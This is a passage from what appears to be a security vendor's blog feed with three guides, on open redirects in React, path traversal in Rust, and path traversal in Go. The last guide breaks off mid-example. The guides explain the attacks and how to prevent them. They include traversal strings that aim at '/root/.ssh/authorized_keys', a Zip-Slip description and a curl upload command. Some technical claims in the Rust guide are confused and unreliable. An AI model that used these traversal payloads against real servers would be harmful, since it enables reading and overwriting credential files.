redirection. They land you on a Thank You page after your download is complete. Similarly, password reset links often contain a parameter in the URL for redirection. Once the user has reset her password, the redirect is to a Login or Home page. This provides a more engaging user experience and ensures that users don&amp;#39;t drop off from your website after a process. &lt;/p&gt;&lt;h2&gt;Open Redirection Vulnerability&lt;/h2&gt;&lt;p&gt;Now you know why redirection is important and sometimes even necessary. Let&amp;#39;s see what an open redirect vulnerability is and how an attacker can use it to cause some damage to your users. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s say for any of the above reasons, site1.com allows you to redirect to another website. Consider the part of the URL that actually performs this action. The query parameter &lt;b&gt;url&lt;/b&gt; tells you which website you should redirect the user to. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Website Redirection.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Now imagine there&amp;#39;s an attacker who wants to trick you into landing on her website. The attacker could convince you to open her website through social engineering and perform some phishing attacks on you. However, these kinds of phishing attacks are difficult to execute because users are mostly aware of the websites they&amp;#39;re visiting. &lt;/p&gt;&lt;p&gt;An open redirect vulnerability allows anyone to modify the redirect URL in the website externally. So instead of redirecting to the website you&amp;#39;re supposed to go to, the attacker could modify the URL to another harmful website. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s how such an attack might look: &lt;/p&gt;&lt;p&gt;&lt;i&gt;Open redirect vulnerability.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Since the redirect URL could be externally modified, the attacker easily tricks you into visiting a malicious website. Because you came from an authentic website, you might not even notice it! After executing some harmful scripts on her website, the attacker could then redirect you back to the original website. Since redirections happen almost instantly, users think it&amp;#39;s a normal flow for the website. &lt;/p&gt;&lt;p&gt;That&amp;#39;s what an open redirect is and how it can be damaging for your users.&lt;/p&gt;&lt;h2&gt;React Open Redirect Example&lt;/h2&gt;&lt;p&gt;Open redirect vulnerability can be exploited on both the client and server sides. For the sake of brevity, we&amp;#39;ll be talking about the client-side vulnerability only in this post. If you want to learn about open redirects in server-side implementations, &lt;a href=&quot;https://www.stackhawk.com/blog/nodejs-open-redirect-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;here&amp;#39;s&lt;/u&gt;&lt;/a&gt; a great post that might help you out. &lt;/p&gt;&lt;p&gt;Remember we talked earlier about redirections used in reset password pages? In this example, we&amp;#39;ll create our own mock reset password page with a redirection. I&amp;#39;ll then use it to demonstrate an open redirect attack. &lt;/p&gt;&lt;h2&gt;Setup React App&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s create a new React app by running:&lt;/p&gt;&lt;p&gt;&lt;code&gt;npx create-react-app react-open-redirect&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We&amp;#39;ll be using React-Router-DOM, so let&amp;#39;s install it by running: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm i react-router-dom&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We&amp;#39;re going to create a root route and a route that handles our Reset Password Page. Add the following code inside your &lt;b&gt;App.js&lt;/b&gt;: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The above code renders the Home page for all routes and renders the Password Reset page for the /password_reset route. Next, let&amp;#39;s add these two pages. &lt;/p&gt;&lt;p&gt;Create a folder called pages inside the root directory. Add the file &lt;b&gt;Homepage.js&lt;/b&gt; inside it with the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The above code simply renders an &lt;b&gt;&amp;lt;h1&amp;gt;&lt;/b&gt; tag with the text Home. Next, let&amp;#39;s create the Password Reset Page: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The above code renders a Password Reset form with two input fields for old password and new password. It has a Submit button that fires a function when clicked. We also use the &lt;b&gt;useLocation&lt;/b&gt; hook from&lt;b&gt; react-router-dom&lt;/b&gt; to get the query parameters from the URL. When the page loads, we fire two functions that extract the token and a redirect URL from the query parameters. We then store them inside our state along with the new and old password that the user types in. &lt;/p&gt;&lt;p&gt;Finally, I also created some basic styles to make our Reset Password page look a bit better. You can add these inside the&lt;b&gt; App.css&lt;/b&gt; file: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Great, we&amp;#39;re all set now! To open your React app, run &lt;b&gt;npm start&lt;/b&gt; inside your root directory. If you now visit the URL http://localhost:3000/password_reset?token=123&amp;amp;next=home, you should see the following page: &lt;/p&gt;&lt;p&gt;&lt;i&gt;Reset Password page.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Awesome! Next, let&amp;#39;s see why this React app is vulnerable to an open redirect attack. &lt;/p&gt;&lt;h2&gt;Vulnerability&lt;/h2&gt;&lt;p&gt;In the previous section, we created a &lt;b&gt;Reset&lt;/b&gt; function that fires when the user presses the Submit button. Let&amp;#39;s add the following code inside that function: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In a real-life scenario, you&amp;#39;ll make an HTTP request inside the Reset function. This request will send the old and new password that the user typed. It verifies the entries, and if everything looks good, it sends back a status code 200. At this point, you know the user&amp;#39;s password has been successfully reset. &lt;/p&gt;&lt;p&gt;However, notice that we have a &lt;b&gt;redirectUrl&lt;/b&gt; property inside our &lt;b&gt;resetPassword&lt;/b&gt; state. This &lt;b&gt;redirectUrl&lt;/b&gt; is the URL you&amp;#39;re supposed to redirect to after the user&amp;#39;s password is successfully reset. &lt;/p&gt;&lt;p&gt;Inside the Reset function, I can change the URL route to whatever value we have inside our &lt;b&gt;redirecrUrl&lt;/b&gt; property. Since our current URL is http://localhost:3000/password_reset?token=123&amp;amp;next=home, we navigate the user to the Home page. You can press the Submit button to verify this behavior:&lt;/p&gt;&lt;p&gt;&lt;i&gt;Redirected to Home page on Submit button press.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;However, the problem with this approach is we have an open redirect vulnerability in our application. If you change the next property inside your URL to an external website like https://www.google.com and then press the Submit button, you&amp;#39;ll be redirected to google.com. &lt;/p&gt;&lt;p&gt;If this were a live application, an attacker could easily change the URL to point to a malicious website. What&amp;#39;s more lethal is when that redirection happens, there&amp;#39;s a chance of your reset password token being leaked to the attacker through headers of the HTTP request. If an attacker has this information, she can easily go and reset your password—and boom, there goes your account! &lt;/p&gt;&lt;h2&gt;Prevent Open Redirect&lt;/h2&gt;&lt;p&gt;Open redirects can be easily prevented by setting coding guidelines for your application. The most important one is to sanitize your redirect URLs. To put it differently, you should write code that doesn&amp;#39;t let a user redirect to an external website. &lt;/p&gt;&lt;p&gt;If you look at our current use case, we want the user to navigate to a different page of our own website only. This is a simple fix inside our Reset function. Instead of using &lt;b&gt;window.location.assign&lt;/b&gt;, we can use the &lt;b&gt;useHistory&lt;/b&gt; hook provided by &lt;b&gt;react-router-dom&lt;/b&gt; instead. First, import it at the top inside &lt;b&gt;PasswordReset.js&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;&lt;code&gt;import { useLocation, useHistory } from &amp;quot;react-router-dom&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;To use the &lt;b&gt;useHistory&lt;/b&gt; hook, we need to create an instance of it and store it in a variable: &lt;/p&gt;&lt;p&gt;&lt;code&gt;    const history=useHistory();&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Almost there! Finally, our new &lt;b&gt;Reset&lt;/b&gt; function now looks like this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If you now visit the URL http://localhost:3000/password_reset?token=123&amp;amp;next=https://www.google.com and hit the Submit button, you&amp;#39;ll be redirected to the Home page only. &lt;/p&gt;&lt;p&gt;If you look at your Home page&amp;#39;s URL, you&amp;#39;ll see that it has the &lt;b&gt;redirectUrl&lt;/b&gt; appended to it as a route parameter. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Open redirect fix using React router.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;You can further remove this by using a function that changes the current URL without reloading the page. You need to fire this function every time your Home page component mounts on the DOM. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s how your &lt;b&gt;Home page.js&lt;/b&gt; file would look after accommodating the above changes:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If you want to enable external redirect websites, the safest thing to do is to have a list of websites you&amp;#39;ll be redirected to. Then, before redirecting, you can check if the website is present in that list and redirect only if it&amp;#39;s there. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Other Vulnerabilities&lt;/h2&gt;&lt;p&gt;Attackers often combine open redirect vulnerability in combination with other vulnerabilities, such as XSS, CSRF, and so on, to cause more damage to your users. Using the above steps, you can ensure that you don&amp;#39;t leave any redirects open to be exploited by attackers. I wrote a detailed guide on XSS attacks and how you can prevent them in your React application. If you&amp;#39;re curious to know more, you can check it out &lt;a href=&quot;https://www.stackhawk.com/blog/react-xss-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. You can also check out the rest of the &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; site, which includes a &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;free signup&lt;/u&gt;&lt;/a&gt; and a &lt;a href=&quot;https://www.stackhawk.com/blog/&quot;&gt;&lt;u&gt;searchable blog&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;u&gt;&lt;i&gt;Siddhant&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rust Path Traversal Guide: Example and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rust-path-traversal-guide-example-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;While a lot of developers are turning to Rust-lang for its long list of benefits, it has its fair share of caveats. For instance, new developers will associate built-in memory safety with overall Rust applications security. This often leaves Rust applications vulnerable to a wide range of attacks. Of particular interest to this post is the Rust path traversal vulnerability.&lt;/p&gt;&lt;p&gt;Path traversal is an attack that hackers apply in order to access the directories and files on application servers. This type of attack can be used on both &amp;quot;vanilla&amp;quot; Rust applications and framework implementations of the programming language.&lt;/p&gt;&lt;p&gt;This guide will take you through the various path traversal vulnerabilities that Rust applications are susceptible to. Breaking down each of the examples will help you understand and remedy Rust-lang path traversal attacks.&lt;/p&gt;&lt;h2&gt;Rust Path Traversal: How It Works&lt;/h2&gt;&lt;p&gt;On our way to fully grasping and patching Rust path traversal vulnerabilities, let&amp;#39;s start by examining just what makes the attack possible. For one, this attack works on applications that allow user input of any type. A good example is a URL as users browse the pages of a Rust framework web application.&lt;/p&gt;&lt;p&gt;Stand-alone Rust-lang applications for which server requests are not bare fall victim to path traversal attacks once an attacker starts using advanced network analysis tools like&lt;a href=&quot;https://www.kali.org/&quot;&gt; &lt;u&gt;Kali&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;The most obvious points of entry for path traversal attacks are front-end form elements. For one, they directly lead to directories that store input files on the server. The Rust code around such forms can make or break the security of an entire application. As you&amp;#39;ll see once we look at actual vulnerabilities, if an application shares storage with any other sensitive files or applications, they too will become vulnerable.&lt;/p&gt;&lt;p&gt;Once an attacker gains access to the document tree behind an application, they can either take it down or keep a live trap to take advantage of unsuspecting users. Let&amp;#39;s zoom in on an example to illustrate how a Rust path traversal attack actually takes place.&lt;/p&gt;&lt;h2&gt;Rust-Lang Path Traversal Example&lt;/h2&gt;&lt;p&gt;The code below is a simple implementation of an &lt;b&gt;upload()&lt;/b&gt; function. As you can see from quickly reading through the snippet, the &lt;b&gt;FormData&lt;/b&gt; variable is passed from the user with either a successful reply or a simple rejection error.&lt;/p&gt;&lt;p&gt;This particular code example has an array of error codes based on an evaluation process: &lt;b&gt;form.try_collect()&lt;/b&gt;. However, common errors that spring from said trials often focus on file size and allowed extensions. Although this is a low-strength protective layer, attackers can simply outmaneuver any set rules.&lt;/p&gt;&lt;p&gt;Immediately you should see that you can limit uploads to just PNG images and PDF files. You can also limit the size of files uploaded. However, that&amp;#39;s far from being sufficient when protecting your directory tree from unauthorized access.&lt;/p&gt;&lt;p&gt;With just the code above as your form logic in Rust, attackers can pass&lt;a href=&quot;https://curl.se/&quot;&gt; &lt;u&gt;&lt;b&gt;cURL&lt;/b&gt;&lt;/u&gt;&lt;/a&gt; commands and plant malicious files in your directory.&lt;/p&gt;&lt;p&gt;&lt;code&gt;curl --location --request POST &amp;#39;http://127.0.0.1:8080/upload&amp;#39; \
--header &amp;#39;Content-Type: multipart/form-data&amp;#39; \
--form &amp;#39;file=@./file.estension&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;As innocent as the &lt;b&gt;cURL&lt;/b&gt; file upload command syntax may appear, attackers can get sneaky with it. For one, staying within the allowed extension options list, attackers can append the name of their file with &lt;b&gt;&amp;quot;../../../../&amp;quot;&lt;/b&gt; options that basically ask your server to reveal directories outside of the assigned upload location.&lt;/p&gt;&lt;p&gt;The resulting command would then not only save a persistent vulnerability springboard in the form of this new file but take the attacker to the application&amp;#39;s root folder. By default, Rust requires that the endpoint for any API verb be an actual file. In this attack scenario, that requirement is provided for by actually saving a file. It&amp;#39;s easy for an attacker to then upload a default file (index.html) that reflects out the rest of the directory.&lt;/p&gt;&lt;h3&gt;Rust Framework Vulnerabilities&lt;/h3&gt;&lt;p&gt;This type of attack is also easily passed to any&lt;a href=&quot;https://www.lpalmieri.com/posts/2020-07-04-choosing-a-rust-web-framework-2020-edition/&quot;&gt; &lt;u&gt;Rust framework.&lt;/u&gt;&lt;/a&gt; It essentially takes advantage of the primitive form implementations on the front end. If left as is, they leave loopholes all over the resulting web applications.&lt;/p&gt;&lt;p&gt;As a rule of thumb, remember that just because code has been published as open source and even forked hundreds of times, that doesn&amp;#39;t make it safe. The same applies to cargos found on the&lt;a href=&quot;https://crates.io/&quot;&gt; &lt;u&gt;Rust crate registry&lt;/u&gt;&lt;/a&gt;. Once you attach already-functioning code to your project, you also inherit any vulnerabilities it may possess.&lt;/p&gt;&lt;h2&gt;How to Fix and Prevent Rust Path Traversal Vulnerabilities&lt;/h2&gt;&lt;p&gt;Path traversal exploitations are best coded out of your applications during test cycles. This requires knowledge of actual threat level familiarity beforehand, which sometimes is not the case. Even then, patches might require that you redo entire sections of your code. If speed is a big concern, you can also add security patches by infusing known crates with your project.&lt;/p&gt;&lt;p&gt;As you take either route, the line of thinking around fixing Rust path traversal attacks remains the same:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Sanitize all input passed to your server through forms.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Explicitly declare default folder endpoints.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Incorporate tests into every code commit.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Sanitize Rust Form Input&lt;/h3&gt;&lt;p&gt;To start with, modern coding practices include cleaner functions that you can attach to input for quick cleansing effects. In Rust, the&lt;a href=&quot;https://doc.rust-lang.org/std/path/index.html&quot;&gt; &lt;u&gt;&lt;b&gt;PathBuf&lt;/b&gt;&lt;/u&gt;&lt;/a&gt; method allows you to work on user input (paths) before they pass to the server. Essentially, you stave off any attempts by hackers to climb out of the allowed file storage directory.&lt;/p&gt;&lt;h3&gt;Declare Default Folder Endpoints&lt;/h3&gt;&lt;p&gt;Say a hacker manages to access a folder containing sensitive files and can now traverse in either direction on the entire directory tree. Having a default index or home files planted along your folder tree is a good way to limit how much they can do. For one, they&amp;#39;ll be restricted to that file alone. Also, these files can help you audit just how many of your storage locations have been compromised.&lt;/p&gt;&lt;h3&gt;Run Security Tests With Every Commit&lt;/h3&gt;&lt;p&gt;It&amp;#39;s not uncommon for new vulnerabilities to join your codebase as an application scales. This is why every commit should be scanned for potential threats before it goes into production. And this is all the more important when appended code brings entire functional modules into your own. It&amp;#39;s best practice to be paranoid of any externally sourced pieces of code. Always suspect cargos and freelancer-obtained code.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;The Rust programming language is fast gaining popularity, and with this fame could come a new breed of vulnerabilities. As far as Rust path traversal is concerned, you&amp;#39;re best safer than sorry. Prevention of attacks is always a better strategy than troubleshooting vulnerabilities with patches in hand.&lt;/p&gt;&lt;p&gt;Your Rust application can be attacked through user input forms and navigation bars. This makes framework-based web applications just as vulnerable as &amp;quot;vanilla&amp;quot; Rust-lang projects. Either way, letting your team be aware of the persistently high threat of Rust path traversal attacks is a great starting point.&lt;/p&gt;&lt;p&gt;Once everyone is in the know, applying tools like&lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; to monitor the security threats potentially included as your lines of code grow is a good strategy. This way, each time a new piece of code that contains vulnerabilities joins the codebase, you get warnings and fix each discovery before it matures into an active attack. With hackers demanding&lt;a href=&quot;https://insuretrust.com/cybersecurity-hacking-has-become-a-300-billion-dollar-industry/&quot;&gt; &lt;u&gt;hundreds of billions of dollars&lt;/u&gt;&lt;/a&gt; from their victims on a yearly basis, you&amp;#39;re best staying on the safe side with preventive measures.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Taurai Mutimutema. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/rusiqe&quot;&gt;&lt;u&gt;&lt;i&gt;Taurai &lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt;is a systems analyst with a knack for writing, which was probably sparked by the need to document technical processes during code and implementation sessions. He enjoys learning new technology and talks about tech even more than he writes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Golang Path Traversal Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/golang-path-traversal-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Golang consistently features among the&lt;a href=&quot;https://insights.stackoverflow.com/survey/2021#programming-scripting-and-markup-languages&quot;&gt; &lt;u&gt;top 10 programming languages&lt;/u&gt;&lt;/a&gt; in use across developer communities. This popularity also makes Go applications prone to all the vulnerabilities on&lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt; &lt;u&gt;OWASP&amp;#39;s prevalent web application exploits&lt;/u&gt;&lt;/a&gt; list. Although not on the list, Golang path traversal is a vulnerability worth getting to know and patching applications against before it becomes their ruin.&lt;/p&gt;&lt;p&gt;This post is an exploration of the path traversal attack in the context of Golang applications. Expect an examination of a few examples to highlight the logic and severity of Golang path traversal attacks. When that&amp;#39;s established, we&amp;#39;ll close out with a discussion of traversal attack prevention methods. We&amp;#39;ll use the&lt;a href=&quot;https://go-proverbs.github.io/#:~:text=Don%27t%20just%20check%20errors%2C%20handle%20them%20gracefully.&quot;&gt; &lt;u&gt;Golang proverb &amp;quot;Don&amp;#39;t just check errors, handle them gracefully&amp;quot;&lt;/u&gt;&lt;/a&gt; as inspiration.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s start by laying out a clear definition of the problem at hand.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Path Traversal?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Also known as a &amp;quot;dot-dot-dash&amp;quot; attack, path traversal attacks take advantage of file path logic to access and even plant files on the server machine&amp;#39;s directories. And a Golang path traversal attack is simply when this kind of attack happens in Golang. The short version of it all is how the inclusion of &lt;b&gt;&amp;quot;../&amp;quot;&lt;/b&gt; components in file path declarations leaves entire directory trees open for attackers to traverse outside the application&amp;#39;s root.&lt;/p&gt;&lt;p&gt;Imagine leaving your entire file storage open to hackers to use as they please. The authorization that&amp;#39;s granted by being a user of a single Golang application on your network is enough for an attacker to grant themselves higher privileges (like adding themselves to admin ranks). At the extreme, your application could get taken over, or overwritten, to hold you at ransom when you least expect it.&lt;/p&gt;&lt;p&gt;Golang path traversal attacks generally fall into one of two subcategories. Both of them damage a Golang application on availability, access, and integrity levels.&lt;/p&gt;&lt;h3&gt;Snooping&lt;/h3&gt;&lt;p&gt;This happens when attackers make efforts to learn as much as they can about your file storage directories in search of sensitive information in files. This often means more than just application file access, extending into operating system control to eventually access every other file on your network.&lt;/p&gt;&lt;p&gt;Such access is possible when the following command is passed from user input:&lt;/p&gt;&lt;p&gt;&lt;code&gt;/opt/myapplication/../../../../../../root/.ssh/authorized_keys&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The above example escapes the allowed directories, climbing the file storage hierarchy all the way to the root folder. Being it&amp;#39;s an absolute URL, it returns the contents of the &lt;b&gt;keys&lt;/b&gt; file.&lt;/p&gt;&lt;h3&gt;Insertion and Overwriting&lt;/h3&gt;&lt;p&gt;The deletion of files in discovered paths is another goal attained by Golang path traversal efforts. When a file is removed, chances are the application will crash. Especially if it contains code required (called) across the application. What fun is crashing applications when you can overthrow the administration, right?&lt;/p&gt;&lt;p&gt;In the same way that we discovered the authorized keys in the snooping category, it&amp;#39;s possible to change them. You can do this by introducing a file that&amp;#39;s named the same yet contains different keys altogether.&lt;/p&gt;&lt;p&gt;With the definition out of the way, let&amp;#39;s now give practical examples of both Golang path traversal attack categories.&lt;/p&gt;&lt;h2&gt;Examples of Golang Path Traversal Attacks&lt;/h2&gt;&lt;p&gt;The first example we&amp;#39;ll look at is one often inherited from the use of Golang frameworks to create web applications. Consider the case where&lt;a href=&quot;https://github.com/go-aah&quot;&gt; &lt;u&gt;Golang aah&lt;/u&gt;&lt;/a&gt; was unknowingly providing access to files and information (relative and absolute) when an attacker implemented the dot-dot-dash command on the following lines of code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;      .....
        t.Log(&amp;quot;Directory Listing - /assets&amp;quot;)
	resp, err = httpClient.Get(ts.URL + &amp;quot;/assets&amp;quot;)
	assert.Nil(t, err)
	assert.Equal(t, 200, resp.StatusCode)
	body := responseBody(resp)
	assert.True(t, strings.Contains(body, &amp;quot;&amp;lt;title&amp;gt;Listing of /assets/&amp;lt;/title&amp;gt;&amp;quot;))
	assert.True(t, strings.Contains(body, &amp;quot;&amp;lt;h1&amp;gt;Listing of /assets/&amp;lt;/h1&amp;gt;&amp;lt;hr&amp;gt;&amp;quot;))
	assert.True(t, strings.Contains(body, `&amp;lt;a href=&amp;quot;robots.txt&amp;quot;&amp;gt;robots.txt&amp;lt;/a&amp;gt;`))
	assert.Equal(t, &amp;quot;&amp;quot;, resp.Header.Get(ahttp.HeaderCacheControl))
       ......&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;To start with, the above code lacks any checks for the access level of the user on the &lt;b&gt;httpClient&lt;/b&gt;. This is the same source from which the server gets the URL components. In addition to &lt;b&gt;&amp;quot;/assets&amp;quot;&lt;/b&gt;, the URL can be laced with sequences of dashes and dots such that the operating system jumps into other directories as with the snooping example.&lt;/p&gt;&lt;p&gt;Where an error would be expected, you&amp;#39;d get access to the entire document tree (folders) by phishing a request that lands in the root directory.&lt;/p&gt;&lt;p&gt;This case study is a flag from a contributor to the aah framework and raises an issue as shown in the report above. We&amp;#39;ll get into the fix shortly.&lt;/p&gt;&lt;p&gt;The second example applies to web applications as well as Golang OS native apps. Dubbed the Zip-Slip, this is a clever way through which hackers can implement path traversal hits on your Golang applications. Here&amp;#39;s how it works:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The attackers hide files inside a .zip archive folder.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Any number of system commands can hide as file names. For example, &lt;b&gt;../../../../../root/.ssh/authorized_keys&lt;/b&gt; will be a file name.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The attacker extracts the archive folder inside your server through any file import form options.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The attack springs into action as soon as a file with its command appears anywhere along the flow of the program.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Go ahead and scan your file storage for such files. If any appear, chances are the attack has long been active. Now for some remediation strategies.&lt;/p&gt;&lt;h2&gt;Preventing Golang Path Traversal Attacks&lt;/h2&gt;&lt;p&gt;It&amp;#39;s never too late to patch your applications with the following protections against Golang path traversal attacks. Keep in mind how the use of open-source Go packages as part of your main source code can add vulnerabilities along with the desired features. This means you must keep watch and test new packages before committing them to your main source code.&lt;/p&gt;&lt;h3&gt;Validate User Input&lt;/h3&gt;&lt;p&gt;Your primary line of defense is validating user input. Before using a file specification, verify that it is valid and points to a resource the user is entitled to access.&lt;/p&gt;&lt;p&gt;This implies that you’ve selected a limited set of directories and provided to the code. A configuration value is the best option so you can adjust based on where you’re running the code.&lt;/p&gt;&lt;p&gt;So, now your application has a list to validate user-specified values against. How do you do that in Golang?&lt;/p&gt;&lt;h3&gt;Clean FilePaths&lt;/h3&gt;&lt;p&gt;First, remove any relative qualifiers from the path to ensure you’re validating the exact location. Golang’s&lt;a href=&quot;https://pkg.go.dev/path/filepath&quot;&gt; &lt;u&gt;filepath package&lt;/u&gt;&lt;/a&gt; has a function for this: &lt;a href=&quot;https://pkg.go.dev/path/filepath#Clean&quot;&gt;&lt;u&gt;filepath.Clean()&lt;/u&gt;&lt;/a&gt;&lt;b&gt;.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Clean performs a lexical transformation on the string you pass it. It uses the target operating system rules to factor out as many relative path indicators as possible. It’s important to note that It doesn’t verify the path.&lt;/p&gt;&lt;p&gt;Here it is working on the example snooping example above.&lt;/p&gt;&lt;p&gt;&lt;code&gt;func main() {
  	c := filepath.Clean(
           &amp;quot;/opt/myapplication/../../root/.ssh/authorized_keys&amp;quot;
      )
  	fmt.Println(&amp;quot;Cleaned path: &amp;quot; + c)
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This code outputs the cleaned path:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Cleaned path: /root/.ssh/authorized_keys&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;So now, when you compare the path to your list of allowed paths, you’re looking at the simplest path. But it hasn’t been verified against the host yet.&lt;/p&gt;&lt;h3&gt;Canonicalize Paths&lt;/h3&gt;&lt;p&gt;What if the user specifies a path that doesn’t exist or points to a link?  Depending on the circumstances it could lead to a false negative or be part of an &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2014-9512&quot;&gt;&lt;u&gt;attack&lt;/u&gt;&lt;/a&gt;. You need to canonicalize the path before verifying and using it. &lt;/p&gt;&lt;p&gt;Golang’s &lt;a href=&quot;https://pkg.go.dev/path/filepath#EvalSymlinks&quot;&gt;&lt;u&gt;EvalSymlinks&lt;/u&gt;&lt;/a&gt; fixes these problems. It’s not a complete security check, but it does help you evaluate your user’s input.&lt;/p&gt;&lt;p&gt;Let’s create a function for verifying paths, and add the new check to it.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Here’s the output:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Cleaned path: /root/.ssh/authorized_keys
Error lstat /root/.ssh: permission denied
Error Unsafe or invalid path specified&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Since I ran this code on a Linux system, it called &lt;a href=&quot;https://linux.die.net/man/2/lstat&quot;&gt;&lt;u&gt;lstat&lt;/u&gt;&lt;/a&gt; on the result passed from &lt;b&gt;Clean()&lt;/b&gt;. Lstat failed because my user doesn’t have scan access to the &lt;b&gt;/root &lt;/b&gt;directory.&lt;/p&gt;&lt;p&gt;Looking at the docs, you’ll see that&lt;b&gt; EvalSymLinks()&lt;/b&gt; runs &lt;b&gt;Clean() &lt;/b&gt;on its results. In this case, we wouldn’t have had any results to clean. Running it beforehand gives you more information to log about user input.&lt;/p&gt;&lt;p&gt;So, in this case, EvalSymLinks told us to ignore the path since it pointed to a privileged location. This particular example won&amp;#39;t get an attacker very far if you’re applying the &lt;a href=&quot;https://en.wikipedia.org/wiki/Principle_of_least_privilege&quot;&gt;&lt;u&gt;principle of least privilege&lt;/u&gt;&lt;/a&gt; to your deployments.&lt;/p&gt;&lt;p&gt;Let’s look at a situation where canonicalizing might not be enough.&lt;/p&gt;&lt;p&gt;&lt;code&gt;	r, err := verifyPath(&amp;quot;/opt/myapplication/foo&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;	if err != nil {
		fmt.Println(&amp;quot;Error &amp;quot; + err.Error())
	} else {
		fmt.Println(&amp;quot;Canonical: &amp;quot; + r)
	}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;On my system, I see this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Cleaned path: /opt/myapplication/foo
Canonical: /etc/hosts
